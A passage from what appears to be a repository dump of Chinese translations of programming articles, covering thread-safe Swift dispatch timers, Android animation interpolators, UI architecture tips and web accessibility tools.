{\n        queue.sync {\n          // Construct a new, temporary value\n          temporaryChild = Child()\n             \n          // Schedule cleanup after a 10 seconds\n          let t = DispatchTime.now() + DispatchTimeInterval.seconds(10)\n          DispatchQueue.global().asyncAfter(deadline: t) { [weak self] in\n            guard let s = self else { return }\n                \n              // Delete the value when invoked\n              s.queue.sync { s.temporaryChild = nil }\n          }\n        }\n      }\n    }\n\n\n当 `temporaryChild` 被创建的时候, 一个延迟调用预计会在 `10.0` 秒后删除它，但延迟调用和 `temporaryChild` 的生存期并不一致。\n\n很容易看出哪里有问题: 执行 `createChild` 两次，第一个延迟调用将会删除第二个 `temporaryChild`.\n\n鉴于引起维护问题的可能性，我认为 `after` 在线上代码中是不能使用的；你可以让代码工作，但程序容易挂掉。计时器直接作用域*之外*的微小变化就会打破它的行为。更糟的是，当计时器出问题时，它*看起来*还是正常的，可能会通过自动化测试，到了引发问题的那个时间点，程序就会崩溃。\n\n**不要在调试以外的场合使用延迟调用。**\n\n## 可取消计时器\n\n可取消计时器并不比延迟调用难多少。\n\n    public extension DispatchSource {\n      public class func makeTimerSource(interval: DispatchTimeInterval, handler: () -> Void)\n        -> DispatchSourceTimer {\n        let result = DispatchSource.makeTimerSource(queue: DispatchQueue.global())\n        result.setEventHandler(handler: handler)\n        result.scheduleOneshot(deadline: DispatchTime.now() + interval)\n        result.resume()\n        return result\n     }\n  }\n\n返回的 `DispatchSourceTimer` 如果被释放，会*自动*取消计时器，这样我们会有一个安全许多的设计。\n\n    class Parent {\n       let queue = DispatchQueue(label: \"\")\n       var temporaryChild: (child: Child, timer: DispatchSourceTimer)? = nil\n       \n       func createChild() {\n          queue.sync {\n             // Construct a new child\n             let c = Child()\n             \n             // Schedule deletion\n             let t = DispatchSource.makeTimerSource(interval: .seconds(10)) { [weak self] in\n                guard let s = self else { return }\n                \n                // Delete the child when invoked\n                s.queue.sync { s.temporaryChild = nil }\n             }\n             \n             // Tie the child and timer together\n             temporaryChild = (c, t)\n          }\n       }\n    }\n\n计时器的生存期和它操作的资源的生存期绑到了一起，前面说的问题就解决了。\n\n**但是这段代码中仍然有个严重的问题。**\n\n## 忽略可取消计时器\n\n前面的 `Parent` 例子中，对 `temporaryChild` 的访问都是用 `queue.sync` 作为互斥锁来保护的。但是，关于互斥锁的重要一点是:\n**互斥锁本身是不能保证代码线程安全的。**\n\n考虑下面的事件顺序:\n\n1. 用 `createChild()` 创建一个 child\n2. 10秒之后，`DispatchQueue.global()` 并发队列上的 handler 被调用\n3. handler启动但还没有进入 `s.queue.sync`\n4. 这时再次调用 `createChild()`，进入队列创建新的 child 和计时器，然后退出队列。\n5. 第3步中的 handler，本应删除旧的 child，进入 `s.queue.sync` 之后却删掉了*新的* child。\n\n旧的计时器删掉了新的 child。啊哦。\n\n我们又回到了老问题，计时器没有和正确的 child 绑定. 任何情况下 handler 的控制和执行如果发生在互斥锁之外，就会使互斥锁的序列版本和计时器的序列版本不一致。\n因为我们只关注*互斥锁的*序列版本，所以需要忽略那些不是最新应用到互斥锁上的计时器。具体就是改变计时器的构造方法，使 handler 接受参数，能够识别过时的计时器。\n\n一种方式是把`计时器`自己的引用传递给 handler，这需要重写前面的 `DispatchSource.timer` 方法：\n\n    public extension DispatchSource {\n     // Similar to before but we pass an instance of the timer to the handler function\n     public class func makeTimerSource(interval: DispatchTimeInterval, handler:\n        (DispatchSource) -> Void) -> DispatchSourceTimer {\n        let result = DispatchSource.makeTimerSource(queue: DispatchQueue.global())\n        \n        // Some minor juggling with the timer instance to avoid creating a retain cycle\n        let res = result as! DispatchSource\n        result.setEventHandler { [weak res] in\n           guard let r = res else { return }\n           handler(r)\n        }\n        \n        result.scheduleOneshot(deadline: DispatchTime.now() + interval)\n        result.resume()\n        return result\n     }\n  }\n\n然后你就可以使用新的`计时器`构造方法:\n\n    class Parent {\n       let queue = DispatchQueue(label: \"\")\n       var temporaryChild: (child: Child, timer: DispatchSourceTimer)? = nil\n       \n       func createChild() {\n          queue.sync {\n             // Construct a new child\n             let c = Child()\n             \n             // Schedule deletion\n             let t = DispatchSource.makeTimerSource(interval: .seconds(10)) {\n                [weak self] (t: DispatchSource) in\n                guard let s = self else { return }\n                s.queue.sync {\n                   // Verify the identity of the timer\n                   guard let childTimer = s.temporaryChild?.timer,\n                      t === (childTimer as AnyObject) else {\n                      return\n                   }\n                   s.temporaryChild = nil\n                }\n             }\n             \n             // Tie the child and timer together\n             temporaryChild = (c, t)\n          }\n       }\n    }\n\n我们的 handler 现在可以识别是否是“当前的”计时器，如果不是就退出。\n\n## 有世代计数的计时器\n\n上面的代码*差不多*可以用了，但是还有一种情况不能处理：*重设*了的计时器。\n\n重设了的计时器是指我们需要延长计时器的到期时间。例如等待计时器（sleep 或者 timeout 计时器）。对于等待计时器，每个新的 activity 都会把它重置到完整的时长。\n\n重设的问题在于，计时器的到期时间被更改了，但计时器的实例还是原来的。如果 handler 的执行当中计时器被重设了，handler 会按照旧的到期时间执行，因为计时器的标识没变。\n\n为了忽略取消*和*重设的计时器，我们可以用一个“世代”计数。这个数只是一个 `Int` 参数，在构造和重设的时候传给 `DispatchSource.timer`，并在 handler 被调用的时候传递给它。\n我们可以和验证计时器标识一样验证世代计数，但是好处是还可以在重设的时候改变计数值，而不只是创建的时候。\n\n它非常灵活有效，但是在每个节点都加了一层复杂度， 所以代码量几乎是上面可取消计时器的*两倍*：\n\n    public extension DispatchSource {\n       // Similar to before but we pass a user-supplied Int to the handler function\n       public class func makeTimerSource(interval: DispatchTimeInterval, parameter: Int,\n    \t\thandler: (parameter: Int) -> Void) -> DispatchSourceTimer {\n          let result = DispatchSource.makeTimerSource(queue: DispatchQueue.global())\n          result.scheduleOneshot(interval: interval, parameter: parameter, handler: handler)\n          result.resume()\n          return result\n       }\n    }\n    \n    public extension DispatchSourceTimer {\n       // An overload of scheduleOneshot that updates the handler function with a new\n       // user-supplied Int when it changes the expiry deadline\n       public func scheduleOneshot(interval: DispatchTimeInterval, parameter: Int, handler:\n          (parameter: Int) -> Void) {\n          suspend()\n          setEventHandler { handler(parameter: parameter) }\n          scheduleOneshot(deadline: DispatchTime.now() + interval)\n          resume()\n       }\n    }\n    \n    class Parent {\n       let queue = DispatchQueue(label: \"\")\n       var generation: Int = 0\n       var temporaryChild: (child: Child, timer: DispatchSourceTimer)? = nil\n       \n       func createChild() {\n          queue.sync {\n             // Construct a new child\n             let c = Child()\n             \n             // Increment the generation\n             generation += 1\n    \n             // Schedule deletion\n             let t = DispatchSource.makeTimerSource(interval: .seconds(10), parameter:\n                generation) { [weak self] p in\n                guard let s = self else { return }\n                s.timerHandler(parameter: p)\n             }\n             \n             // Tie the child and timer together\n             temporaryChild = (c, t)\n          }\n       }\n       \n       func resetChildTimer() {\n          queue.sync {\n             guard temporaryChild == nil else { return }\n             \n             // Increment the generation\n             generation += 1\n             \n             // Reschedule the timer\n             self.temporaryChild?.timer.scheduleOneshot(interval: .seconds(10), parameter:\n                generation) { [weak self] p in\n                guard let s = self else { return }\n                s.timerHandler(parameter: p)\n             }\n          }\n       }\n    \n       // Since we're changing the handler each time, it helps to have a shared\n       // function to create the handler\n       func timerHandler(parameter: Int) {\n          queue.sync {\n             guard parameter == generation else { return }\n             temporaryChild = nil\n          }\n       }\n    }\n\n## 单队列同步计时器\n\n我们的简单计时器现在有了*很多*代码，大部分都是为了过滤无效的结果。一个更好的选择是，保证计时器在同一个上下文中创建，由一把互斥锁围绕计时器和相关的临时资源，从根源上避免无效结果产生。\n\n我们来*再次*重构一下 `DispatchSource.timer`：\n\n    public extension DispatchSource {\n       // Similar to before but the scheduling queue is passed as a parameter\n       public class func makeTimerSource(interval: DispatchTimeInterval, queue: DispatchQueue,\n          handler: () -> Void) -> DispatchSourceTimer {\n          // Use the specified queue\n          let result = DispatchSource.makeTimerSource(queue: queue)\n          result.setEventHandler(handler: handler)\n          \n          // Unlike previous example, no specialized scheduleOneshot required\n          result.scheduleOneshot(deadline: DispatchTime.now() + interval)\n          result.resume()\n          return result\n       }\n    }\n\n`Parent` 类可以神奇的简化:\n\n    class Parent {\n       let queue = DispatchQueue(label: \"\")\n       var temporaryChild: (child: Child, timer: DispatchSourceTimer)? = nil\n       \n       func createChild() {\n          queue.sync {\n             let t = DispatchSource.makeTimerSource(interval: .seconds(10), queue: queue) {\n                [weak self] in\n                self?.temporaryChild = nil\n             }\n             temporaryChild = (Child(), t)\n          }\n       }\n    \n       func resetChildTimer() {\n          queue.sync {\n             temporaryChild?.timer.scheduleOneshot(deadline: DispatchTime.now() + .seconds(10))\n          }\n       }\n    }\n\n现在代码比原来简洁清晰很多，而且同样线程安全.\n\n这样的计时器使用模式并不是*永远*可行的 - 在某些情况下，需要使用前面的“世代计数”方法。比如你选择使用不同的互斥锁(更快的互斥锁，比如我在之前文章中提到的[Mutexes and closure capture in Swift](http://www.cocoawithlove.com/blog/2016/06/02/threads-and-mutexes.html))。\n在其他 API 中，还有可能无法用调度队列作为同步互斥锁（比如 C++ 中的 `boost::asio`，用于序列化的 `io_service::strand` 类不能以确保同步的方式调用）。\n\n## 外部需求\n\n“世代计数”和“单队列同步”的计时器还有个问题，就是它们都有外部需求。\n\n什么是外部需求？我指的是它们都有非功能参数的需求，需要用互斥锁来围绕计时器和相关临时资源，不然就会有同步失败的风险。\n\n理想情况下，我们应该有一个不需要*任何*外部需求和前置条件的接口 - 只要你实现了接口的类型需求，接口的使用就是有效的。\n\n在某些具体场合，这是可以做到的。最直接的方式就是把数值，计时器*和*互斥锁包装到一个接口里。例如：\n\n    public class TimeLimitedContainer<T> {\n       var possibleValue: T?\n       let timer: DispatchSourceTimer\n       let queue: DispatchQueue\n      \n       public init(value: T, interval: DispatchTimeInterval) {\n          self.possibleValue = nil\n          self.queue = DispatchQueue(label: \"\")\n          self.timer = DispatchSource.makeTimerSource(queue: queue)\n          \n          self.timer.setEventHandler(handler: { [weak self] in self?.possibleValue = nil })\n          self.timer.scheduleOneshot(deadline: DispatchTime.now() + interval)\n          self.timer.resume()\n       }\n       \n       public var value: T? {\n          var result: T? = nil\n          queue.sync { result = possibleValue }\n          return result\n       }\n    \n       public func resetTimer(interval: DispatchTimeInterval) {\n          queue.sync {\n             timer.scheduleOneshot(deadline: DispatchTime.now() + interval)\n          }\n       }\n    }\n\n这种方式的问题是，它会限制计时器结束时可以执行的动作：这个例子中做的就是把 `Optional` 设为 `nil`。很多情况下这是不够用的。一段时间后的变化通常需要广播通知，执行刷新或者重新处理，这样内存中的其他对象可以调整到新的值。变化的传播需要在同一个互斥锁下发生，或者在避免死锁的前提下在多个互斥锁中发生。\n\n虽然你*可以*把 `possibleValue` 成员做成一个 `OnDelete` 结构体(像我在这里描述的 [Breaking Swift with reference counted structs](http://www.cocoawithlove.com/blog/2016/03/27/on-delete.html))，然后用 `OnDelete` handler 来执行*任意*操作。但这像是回到了一个原始的计时器。\n你应该对底层计时器有另一层抽象，最终使得计时器结束时触发一个简单的 handler。\n\n要处理一系列的级联变化传播，在锁之间进出还要保证线程安全，需要扫描整个程序中的变化。在这种情况下，*可以*把计时器隐藏在大的框架接口之下。具体的实现要根据变化传播的框架。\n\n如果没有线程安全的变化传播框架，**最好的方法就是上述的在使用计时器时保证外部需求**。这样可以使你正确的在 `Parent` 对象中处理变化传播。\n\n## 使用\n\n> “世代计数”和“单队列同步”版本的 `DispatchSource.timer` 实现是我的 CwlUtils 的一部分 [mattgallagher/CwlUtils](https://github.com/mattgallagher/CwlUtils). 现在在 Swift 3 prerelease 分支当中 [swift3-prerelease branch](https://github.com/mattgallagher/CwlUtils/tree/swift3-prerelease)，当 Swift 3 正式发布时会 merge 到 master。\n\n文章中并没有放很多代码 – 我的重点是在代码*之间*的模式. 如果你需要，[CwlDispatch.swift](https://github.com/mattgallagher/CwlUtils/blob/swift3-prerelease/CwlUtils/CwlDispatch.swift?ts=3) 是一个完整自包含的代码文件。\n\n## 总结\n\n有一个著名的设计准则： [“你不需要它”](https://en.wikipedia.org/wiki/You_aren%27t_gonna_need_it), 指的是你应该只关注当前的需求，只要现在的代码可以工作，就别担心将来的问题. 这话有一定的道理，但是如果要处理难以测试的问题，多加小心，未雨绸缪总是必要的。\n\n计时器有一个讨厌的倾向，看起来工作正常，但是不太相关（甚至*毫不相干*）的代码稍微变化，就会出问题了。由于自动化测试通常只会用一些固定的时间模式，可能时间相关的 bug 不会被发现，任何测试都通过了，但结果程序中有严重的问题。最好能有一些简单的步骤，从一开始就保证计时器在不同的使用模式下工作正常，哪怕你不需要取消或者重设计时器。\n\n对每一个计时器:\n\n- 对每个计时器清晰的定义相关的“临时资源”，保证计时器和资源的变化在同一个互斥锁下面发生。\n- 所有计时器都应该可以取消，它们的生存期应该和相关的临时资源一致。\n- 计时器取消或重设触发的 handler 调用应该不可行或者没有效果。\n\n你应该遵守这些需求，即使你不需要取消或者重设计时器。\n\n我演示了满足上面条件的两种不同方法：“世代计数”和“单队列同步”模式的计数器使用。\n\n后者语法上更简单，包括下面的步骤:\n\n1. 把计时器和相关临时资源存放到一个复合值中。\n2. 使用 `DispatchQueue` 作为互斥锁围绕计时器和相关临时资源。\n3. 在同一个 `DispatchQueue` 中启动计时器。\n\n“世代计数”模式避免了对 `DispatchQueue` 作为互斥锁的要求，也不需要限制计时器的启动队列。但是它仍然需要*互斥锁*，并且还需要跟踪世代计数。并且这个方法更加复杂。\n\n不幸的是，两者都有一样的烦恼：对作用域上互斥锁的要求 - 并且难以通过`前置条件`或其他方式确认。\n\n想在异步环境中设计线程安全的计时器代码，还想*不借助*外部依赖的话，需要在整个程序的变化管理中加入更多个人的想法。我很想将来继续研究这个问题。\n"
  },
  {
    "path": "TODO/timing-is-everything.md",
    "content": "> * 原文地址：[Timing is Everything](https://medium.com/google-developers/timing-is-everything-8218b8df5485#.tlp6t4pxv)\n* 原文作者：[Chet Haase](https://medium.com/@chethaase)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Siegen](https://github.com/siegeout)\n* 校对者：[Nicolas(Yifei) Li](https://github.com/yifili09) ,[zale](https://github.com/zhangliukun)\n\n## 用定制的非线性定时曲线改善你的动画\n\n\n在现实世界中的运动是非线性的。（当你穿过街道时，你只要略微将你盯着手机的眼睛瞄一眼街道就足够保证你不会被车撞到。）当我们走路的时候，我们在加速。当我们停止的时候，我们慢慢减速到 0（除非我们被车撞了，这样我们会体验到我们朝着另一个方向突然加速）。当我们下落的时候，重力使我们加速下落，当我们跳起的时候，它又会降低我们的上升速度。无论如何，我们无法在整个运动中保持一个恒定的移动速度。\n\n\n\n所以作为人类，当我们看到屏幕上的运动时（我们正在观看手机上的动画，并没有留意到那些正在靠近我们的车辆的时候。），我们期望它也是同样的非线性，因为这样会让人感觉更自然。通常来说，我们在应用里尝试实现的自然交互，它是用来帮助用户更好的理解这些应用里的虚拟世界究竟在发生什么。不要尝试用你奇特的动画技巧让他们惊奇；给他们感受起来很自然的动画，以便于他们可以更容易的使用你的应用然后完成他们需要做的事情。\n\n#### Android Interpolation\n\n\n\n从一开始， Android 就已经提供了通过它的  [Interpolator](https://developer.android.com/reference/android/view/animation/Interpolator.html)  实现来制作非线性动画对象的能力。事实上，默认的动画通常是[加速进入和减速退出运动](https://developer.android.com/reference/android/view/animation/AccelerateDecelerateInterpolator.html)中的一个。更加重要的是，Android 也为开发者提供了改变默认运动的能力，以此来提供其他类型的速度变化。举个例子，你可以使你的动画快速的开始然后减速退出。或者，慢慢的开始然后逐渐加速。自从  Lollipop 版本 (API 21)发布了以后，Android 又提供了[基于路径的定时曲线](https://developer.android.com/reference/android/view/animation/PathInterpolator.html)来完成更加复杂和灵活的控制。甚至于，如果你想要凸显你的奇特，你可以使用[线性 interpolation](https://developer.android.com/reference/android/view/animation/LinearInterpolator.html) (但是请不要这样做)。\n\n\n\n\n有了这么多的选项，那么问题来了：你应该为你的动画使用哪一个呢？\n\n\n#### 如此多的选择！\n\n\n\n在今年的 Google I/O 大会上，一个开发者靠近我问道：“我应该使用什么类型的 interpolation 来让一个 text 元素从边上滑入？”\n\n\n这是一个好问题，我建议更多的开发者应该为他们自己的应用问一下这个问题。\n\n\n\n不幸的是，这个问题的答案是一个令人并不满意的模糊答案，“看情况”。这取决于你，你的应用，这个动画的上下文，你的用户，以及许多其他的因素，没人可以简单的为你做决定。确实是有某种程度上较好与较坏方式的判定（例如：不要为移动的物体使用 LinearInterpolator ，让你的动画尽可能的快）。但是并没有可以通用的“正确”答案。\n\n\n我的推荐（确切答案的一个微不足道的替代品）是使用不同的 interpolators，然后在他具体的情况下试验下，选择感觉最好的那个。或者，更一般的说，写一个简单的测试应用，允许他使用不同 interpolator，然后简单的比较下。\n\n\n\n我意识到这是我们能为他（也是为每个人）提供的东西。这不是一个难写的应用，但是用来比较内置的interpolator还是很有用的，对开发者来说它应该是很方便的，无论是使用或者是修改他们任意的定制需求。\n\n\n\n所以下面的就是：\n\n#### [InterpolatorPlayground](https://github.com/google/android-ui-toolkit-demos/tree/master/Animations/InterpolatorPlayground)\n\n\n\n\n\n\n![](http://ac-Myg6wSTV.clouddn.com/a821863d8a772e1050f8.png)\n\n\n\n\nInterpolatorPlayground 实战\n\n\n介绍下 [InterpolatorPlayground](https://github.com/google/android-ui-toolkit-demos/tree/master/Animations/InterpolatorPlayground),这是一个简单的 Android 应用，你可以使用它来选择几个标准 interpolator 中的一个，然后实验看看它们是如何影响一个动画的。你可以改变动画的持续时间以及 interpolator 的构造参数。通过给 UI 中各种对象添加 interpolation 动画，你可以使 interpolation 曲线和产生的影响可视化。最后，你可以为两个 PathInterpolator 选项（平方和立方）拖动控制点来看看如何使用这个具体的类创建非常个性和灵活的定时曲线。\n\n\n\n你也可以运行一些有趣的(尽管用处不大) interpolator，例如反弹和冲出（主要是因为他们在运行的时候看起来很有趣）。\n\n\n\n一旦你决定为你的应用使用一个你喜欢的动画，简单地记下 UI 中的参数，然后在你的代码里使用那些参数创建适当的 Interpolator。\n\n\n#### 它是怎样的运行\n\n在你的代码里插入一个 Interpolator 之后你就可以调用它。你可以不用理解其中的细节；你真正需要的是你正在寻找的运动效果。\n\n\n但是如果你不关心它是如何运行的，那为什么你还要选择成为一名程序员呢？细节才是真正有趣的地方。\n\n\ninterpolator 运行的方式，或者更具体地说，interpolator 影响动画定时曲线，是通过改变当前完成时间的百分比来进行的。在 Android 中的每个动画都设置了一个持续时间（默认的时长是 300 毫秒）。在动画持续时间内的任意一个时间点，系统计算出已经运行了多长时间，然后调用 animation 让它根据之前得到的时间来计算新的 animated 值。运行时间可以被表达成一个比例因子（0 是开始，1 是结束）。举个例子，一个 animation 正进行到中间时刻，那么它当前完成的比例因子就是  0.5，它的计算值就处于它的起始值和结束值的中间。\n\n\n\n但是我们没有直接传递那个比例因子,替代的我们通过一个 Interpolator 传递比例因子，这个 Interpolator 把当前完成的比例因子作为输入然后返回另一个比例因子作为输出。被插入的比例因子被我们传递给 animation 对象进行计算。\n\n\n所以为了改变一个 animation 对象的定时曲线，我们只需要提供一个功能，它把一个当前已完成的比例因子转换成另一个比例因子，然后使用这个新的比例因子来计算  animation 值。\n\n\n举个非常简单的例子，假设我们创建了一个 Interpolator 通过返回比例因子的相反值来反转 animation，它看起来是这样的：\n\n     public class ReverseInterpolator implements Interpolator {\n        @Override \n        public float getInterpolation(float fraction) {\n            return 1 - fraction;\n        }\n    }\n\n\n\n这个 interpolator 会使 animation 在开始的时候计算它的结束值（当输入的比例因子为 0 的时候，被插入的比例因子则是 1 ）然后在结束的时候计算开始值（当输入比例因子为 1 的时候，被插入的比例因子则是 0 ）.它会适当地改变那些位于结束值和起始值中间的比例因子。\n\n\n\nAndroid 中内置的 Interpolator 类使用类似的功能，简单的（例如 LinearInterpolator，它只是简单的返回输入值）和更加复杂的（例如 PathInterpolator，它使用平方、立方或者贝塞尔曲线决定返回值）都被用来计算比例因子，这样使得丰富多彩的各种定时曲线都能符合大部分期望。如果你没有找到你想要的，实现你自己的 Interpolator 也是很容易的。\n\n\n\n在此同时，把视线从你的屏幕上移开。有辆车正在开过来。\n\n\n"
  },
  {
    "path": "TODO/tips-to-keep-in-mind-while-developing-complex-ui-in-web.md",
    "content": "> * 原文地址：[How to build complex user interfaces without going completely insane](https://medium.freecodecamp.com/3-tips-to-keep-in-mind-while-developing-complex-ui-in-web-b56312310390)\n> * 原文作者：[Illia Kolodiazhnyi](https://medium.freecodecamp.com/@iktash88)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[Changkun Ou](https://github.com/changkun/)\n> * 校对者：[MuYunyun](https://github.com/MuYunyun), [noturnot](https://github.com/noturnot)\n\n# 如何理智地构建复杂用户界面 #\n\n![](https://cdn-images-1.medium.com/max/2000/1*jwBhYQ_c_HZ_OOCE4pwbwQ.jpeg)\n\n我最近在构建一个复杂、动态的 Web 应用的用户界面（UI）。在这条路上，我学到了一些宝贵的经验教训。\n\n下面的这些技巧是我希望有人在当我开始这样一个雄心勃勃的项目之前能告诉我的。这将为我节省大量时间和精力。\n\n### 理智意见 #1: 使用组件的内部状态存储临时数据 ###\n\n复杂的 UI 通常需要你维护某种应用程序状态。这将告诉 UI 显示什么内容以及如何显示它们。 一个选择是当用户触发页面里的某个行为的时候，立即访问这个状态。然而据我了解，推迟改变这个应用的状态，在当前组件的内部状态下临时保存此更改会更好。\n\n举个例子，有一个对话框能够让用户编辑某些记录数据，比如他（她）的名字：\n\n![](https://cdn-images-1.medium.com/max/800/1*bFb-8Zdzf1aGPJyWpD_hsg.jpeg)\n\n这时，你可能想要让用户每次编辑这个对话框时触发修改。但是，我的建议是使用显示所有数据来维护此对话框的内部状态，直到用户按下保存按钮。 此时，您可以安全地更改保存这些记录数据的应用程序状态。\n\n这样，如果用户决定放弃更改并关闭对话窗口，则可以直接删除组件，这时应用程序状态保持不变。 如果你需要将数据发送到后端，便可以在一个请求中进行。 如果这些数据对其他用户同时可用，那么当有人编辑这些数据时其他人不会看到这些临时值。\n\n> 你的 UI 行为应该匹配用户的心理模型\n\n当用户使用对话框时，他们通常会认为这些记录在完成编辑之前是不会被保存的。组件的功能也应该匹配这种行为。\n\n**使用 React/Redux 的人请注意**：将一般数据保存在 Redux Store 并使用 React 组件状态来存储这些临时数据的行为是可行的。\n\n### 理智意见 #2: 从 UI 状态中分离模型数据 ###\n\n**下文中的术语「模型」指代 MVC 设计模式中的模型。**\n\nWeb 应用程序中的现代 UI 在结构和行为上可能很复杂。这通常会导致你将纯粹的与 UI 相关的数据存储在应用程序状态之中。我的建议是将 UI 相关数据和业务数据分离。\n\n> 将 UI 状态中的业务数据和逻辑分别存储在不同模型之中\n\n这种方法很容易遵循和理解，因为它想让你把业务逻辑与其他一切分离开来。这样你的模型可以同时保存这些数据和方法（函数）进而处理这些数据。 否则，你的应用程序可能最终会跨越多个地方穿插业务逻辑，其中最有可能是 **View** 组件。\n\n例如，在应用程序中，你有一个待办事宜的列表，并实现一个页面来添加一个新的任务到该列表。 现在你需要在任务描述、任务日期的格式合法之前，禁用「保存」按钮：\n\n![](https://cdn-images-1.medium.com/max/800/1*Cqmpew82Wo_znz_lCYz3xQ.jpeg)\n\n普通的做法是将需要的数据存储在应用程序状态的某处，并在 **View** 组件中编写这样的代码：`const saveButtonDisabled = !description && !date && !dateIsValid(date)`。 但问题就出在保存按钮被禁用了，因为**业务要求**必须输入所有的描述以及有效的日期。\n\n因此，在这种情况下，禁用按钮的逻辑应该放在待执行任务的**模型**中。 该模型可以如下表示：\n\n```\n{\n    description: 'Save Gotham',\n    date: 'NOW',\n    notes: 'Speak with deep voice',\n    dateIsValid: () => this.date === 'NOW',\n    isValid: () => this.description !== '' && this.dateIsValid()\n}\n```\n\n现在，你可以在 **View** 组件中为你的 UI 逻辑使用 `const saveButtonDisabled = !task.isValid()` 了。\n\n正如你所看到的，这个提示基本上是关于如何将你的**模型**与MVC模式中的**视图**进行分离。\n\n### 理智意见 #3: 优先考虑集成测试而不是单元测试 ###\n\n如果你在一个有足够的时间为每个功能编写多个测试的环境中工作，这将不是问题。但我相信，大多数人并非如此。通常，你必须决定使用哪种测试。**而我大多数时候会考虑集成测试，它比单元测试更有价值。**\n\n![](https://cdn-images-1.medium.com/max/800/1*dsj6MNERxdJtcr5-I7W2vQ.jpeg)\n\n依我的经验，我了解到：具有良好单元测试覆盖率的代码库通常比具有良好集成测试覆盖率的代码更容易出错。我注意到开发工作引入的大多数错误都是[软件回归错误 (regression bug)](https://en.wikipedia.org/wiki/Software_regression)。 单元测试通常不能很好地捕捉到这些问题。\n\n当你在代码中修复问题时，我建议您按照以下简单步骤操作：\n\n1. 写出由于现有问题而导致失败的测试。如果可以通过单元测试完成，这很好。否则，使测试根据需要接触许多代码模块。\n2. 在代码库中解决问题。\n3. 验证测试不会失败。\n\n这个简单的做法确保问题是固定且不会再发生的，因为从此之后测试将验证它。\n\n现代 Web 应用程序对开发人员提出了许多挑战，UI 开发也是其中之一。 我希望本文可以帮助你避免一些错误，或者给你提供一个很好的话题来进一步思考和讨论。\n\n如果能在评论中看到你对此话题的想法和发现，我将非常感激。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/tools-for-developing-accessible-websites.md",
    "content": "> * 原文地址：[Tools for Developing Accessible Websites](https://bitsofco.de/tools-for-developing-accessible-websites/)\n* 原文作者：[ Ire Aderinokun,](https://bitsofco.de/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[王子建](https://github.com/Romeo0906)\n* 校对者：[Jiang Haichao](https://github.com/AceLeeWinnie)，[冯志浩](https://github.com/fengzhihao123)\n\n# 无障碍网站开发工具\n\n\n\n\n构建一个无障碍网站对于像我这样从没用过任何辅助性技术的开发人员来说非常的具有挑战性。可及性问题不像布局等可视问题一样那么容易被发现，如果我们没有用合适的工具测试，它很容易就会被忽视掉。\n\n> 可及性设计并不是一定要做得完美无缺，它只需日渐精进就够了。\n> \n>   \n> [Leonie Watson at FronteersConf](https://twitter.com/ireaderinokun/status/784401867447078912)\n\n有一些我经常使用并且对可及性开发大有裨益的工具，我想应该和大家一起分享。由于我大部分开发都基于 Chrome，所以这些工具更适用于 Chrome。\n\n[Accessibility Developer Tools](https://chrome.google.com/webstore/detail/accessibility-developer-t/fpkknkljclfencbdbgkenhalefipecmb?hl=en) 是一款由谷歌可访问性团队开发的谷歌 Chrome 浏览器扩展程序。这款扩展在开发者工具界面添加了一个名为 \"Audits\" 的嵌板，通过 Audits 我们能得到网页的网络利用率、网页性能，当然也包括可及性。\n\n![Screenshot of Panel](https://bitsofco.de/content/images/2016/10/Screen-Shot-2016-10-30-at-16.26.42.png)\n\n这款可及性检测工具会按照预定的可及性检查项对网页进行测试。它将会按照重要性列出任何需要修复的关键问题，同时也会列出已经通过测试的项目。\n\n![Accessibility Audit Results](https://bitsofco.de/content/images/2016/10/Screen-Shot-2016-10-30-at-16.27.51.png)\n\n\n除了可及性检测之外，我们能在元素审查中审查任何特定元素的可及性属性。在元素审查项中有一个新的名为 \"Accessibility Properties\" 的嵌板，它能够列出某特定元素的所有可及性相关的属性。\n\n\n![Accessibility Properties Inspector](https://bitsofco.de/content/images/2016/10/Screen-Shot-2016-10-30-at-16.29.14.png)\n\n## Accessibility Inspector\n\n作为 Chrome 的内测部分，一款 [Accessibility Inspector](https://docs.google.com/document/d/1bj9Dc3_DnezF-IeNg51LEG2zfGtxD3YKP5t7SBB_-Dk/edit) 已经可以在 Chrome 开发者工具中使用了（隐藏在[标记](https://gist.github.com/marcysutton/0a42f815878c159517a55e6652e3b23a)下）。\n\n这款可及性审查工具是元素检测中附加的嵌板，名为“Accessibility”。这款工具让我们能够审查页面中的特定元素，并获取其可及性属性的信息。与可及性扩展程序不同的是，这款工具有更大的访问可及性 API 的权限，它可以提供给更加深入的元素可及性信息。\n\n![Screenshot](https://bitsofco.de/content/images/2016/10/Screen-Shot-2016-10-30-at-16.31.03.png)\n\n## Tenon\n[Tenon](https://tenon.io/) 是一款极其有用的工具，它能在任何环境下鉴别 [WCAG 2.0](https://www.w3.org/TR/WCAG20/) 和 [Section 508](https://www.section508.gov/) 的问题，无论是本地开发环境还是生产环境。实际上它是一款付费的 API，也可以被整合到你的开发工作中，并且能为每一步开发进展提供深入的可及性分析。\n\n另外，也有在线的免费工具，能够生成任何页面甚至一小段代码的可及性报告。\n\n![](https://bitsofco.de/content/images/2016/10/Screen-Shot-2016-10-30-at-16.32.25.png)\n\n## Chrome Vox\n\n对于还没有使用屏幕阅读器的开发者来说，确保网站能够适应屏幕阅读器有点像猜谜游戏。[Chrome Vox](https://chrome.google.com/webstore/detail/chromevox/kgejglhpjiefppelpmljglcjbhoiplfn) 就是一款可以用于 Chrome 扩展安装的简单易用的屏幕阅读器。安装成功之后，你可以通过它操作任何页面。\n\n以下是我利用 Chrome Vox 做的一个导航至博客主页的样例 -\n\n[![Using Chrome Vox Screen Reader](http://bitsofco.de/content/images/2016/10/Screen-Shot-2016-10-31-at-20.25.50.png)](https://www.youtube.com/watch?v=N1c6CfUhdwo) \n\n即便屏幕阅读器五花八门，Chrome Vox 也是一款能够简易上手并模拟体验屏幕阅读器的工具。\n\n## High Contrast 